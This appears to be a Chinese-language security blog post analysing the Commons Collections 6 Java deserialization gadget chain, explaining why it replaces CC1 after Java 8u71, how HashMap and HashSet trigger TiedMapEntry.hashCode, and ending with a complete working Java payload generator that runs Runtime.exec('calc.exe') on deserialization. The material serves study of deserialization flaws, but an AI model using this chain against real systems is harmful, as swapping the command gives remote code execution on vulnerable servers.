CommonsCollections6 反序列化链分析
一、前言
CC6该条链用于解决在java高版本(java 8u71)中CC1无法利用进行替代的链,在java 8u71之后sun.reflect.annotation.AnnotationInvocationHandler#readObject
的逻辑发生变化,导致cc1的链子在8u71之后无法使用。
二、利用链分析
1、ysoserial利用链
代码语言:javascript复制Gadget chain:
java.io.ObjectInputStream.readObject()
java.util.HashSet.readObject()
java.util.HashMap.put()
java.util.HashMap.hash()
org.apache.commons.collections.keyvalue.TiedMapEntry.hashCode()
org.apache.commons.collections.keyvalue.TiedMapEntry.getValue()
org.apache.commons.collections.map.LazyMap.get()
org.apache.commons.collections.functors.ChainedTransformer.transform()
org.apache.commons.collections.functors.InvokerTransformer.transform()
java.lang.reflect.Method.invoke()
java.lang.Runtime.exec()
by @matthias_kaiser
该链和CC1的区别就是在调用LazyMap处使用的org.apache.commons.collections.keyvalue.TiedMapEntry
类,接下来需要做的就只是分析这一部分利用流程即可
2、TiedMapEntry类分析
TiedMapEntry
中的hashCode()方法中调用了getValue()方法,在getValue()方法中有进行map.get()操作,到这里接下来的步骤就是找到一个能够调用TiedMapEntry#hashcode()
方法的地方。
3、pyload构造过程思考
在按照如上想法构造payload的过程中碰到了一些问题
- HashMap 和 HashSet 都可触发反序列化
- 网上文章中都统一提到需要将LazyMap中的key置空才能正常执行流程,而在个人测试中并不需要这一步骤
- 在构建payload的过程中序列化操作也会导致出现命令执行
接下来就是一步步解决这些问题
3.1 HashMap 和 HashSet 都可触发反序列化
关于这一点其实是非常简单的,提出这个问题是因为在网上的文章中payload构造分成了HashMap和HashSet两派
通过之前的链子学习,我们可以知道HashMap
的readObject方法会调用hash方法
private void readObject(ObjectInputStream s){
...
putVal(hash(key), key, value, false, false);
}
static final int hash(Object key) {
int h;
return (key == null) ? 0 : (h = key.hashCode()) ^ (h >>> 16);
}
hash(key)最终会调用到key.hashCode()方法,所以只要讲这个key设置为TideMapEntry
对象即可
那在HashSet中是否有和HashMap一样的操作呢,答案是有的
// hashSet.add()
public boolean add(E e) {
return map.put(e, PRESENT)==null;
}
public V put(K key, V value) {
return putVal(hash(key), key, value, false, true);
}
在HashSet.add()中调用了map.put方法,该方法为HashMap中的方法,map.put进行的操作和上文说到的一样,hash(key)最终会调用到key.hashCode()方法,所以只要讲这个key设置为TideMapEntry
对象即可
3.2 序列化操作出现命令执行
如果在一开始的时候就直接传入真实的transformers就会导致在writeObject时出现RCE,这一点解决的方法也很简单,在一开始构造的时候传入fakeTransformers,在hashSet.add方法执行完之后再通过反射将iTransformers
的值修改为真正的payload
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
3.3 LazyMap中的key置空
这一步一开始因为3.2的问题搞得很迷惑,为什么不管进不进行删除操作都会能够成功触发,在修改完3.2的代码后断点跟入后即可发现问题的所在
LazyMap.get()方法中判断map是否存在key,如果存在的话就没法步入逻辑,导致无法调用transform方法
解决的办法也很简单
代码语言:javascript复制TiedMapEntry key = new TiedMapEntry(decorate, "key");
decorate.remove("key");
4、payload
代码语言:javascript复制package org.example;
import org.apache.commons.collections.Transformer;
import org.apache.commons.collections.functors.ChainedTransformer;
import org.apache.commons.collections.functors.ConstantTransformer;
import org.apache.commons.collections.functors.InvokerTransformer;
import org.apache.commons.collections.keyvalue.TiedMapEntry;
import org.apache.commons.collections.map.LazyMap;
import java.io.FileInputStream;
import java.io.FileOutputStream;
import java.io.ObjectInputStream;
import java.io.ObjectOutputStream;
import java.lang.reflect.Field;
import java.util.HashMap;
import java.util.HashSet;
import java.util.Map;
public class CC6 {
public static void main(String[] args) throws Exception {
Transformer[] fakeTransformers = new Transformer[]{new ConstantTransformer(1)};
Transformer[] transformers = new Transformer[]{
new ConstantTransformer(Runtime.class),
new InvokerTransformer("getMethod", new Class[]{String.class, Class[].class}, new Object[]{"getRuntime", new Class[0]}),
new InvokerTransformer("invoke", new Class[]{Object.class, Object[].class}, new Object[]{null, new Object[0]}),
new InvokerTransformer("exec", new Class[]{String.class}, new String[]{"calc.exe"}),
new ConstantTransformer(1),// 隐藏错误信息
};
ChainedTransformer chainedTransformer = new ChainedTransformer(fakeTransformers);
Map hashMap = new HashMap();
Map decorate = LazyMap.decorate(hashMap, chainedTransformer);
TiedMapEntry key = new TiedMapEntry(decorate, "key");
HashSet hashSet = new HashSet(1);
hashSet.add(key);
// HashMap map = new HashMap();
// map.put(key, "value");
decorate.remove("key");
Field field = ChainedTransformer.class.getDeclaredField("iTransformers");
field.setAccessible(true);
field.set(chainedTransformer, transformers);
ObjectOutputStream oos = new ObjectOutputStream(new FileOutputStream("./cc6.bin"));
// oos.writeObject(map);
oos.writeObject(hashSet);
oos.close();
ObjectInputStream ois = new ObjectInputStream(new FileInputStream("./cc6.bin"));
Object o = ois.readObject();
System.out.println(o);
}
}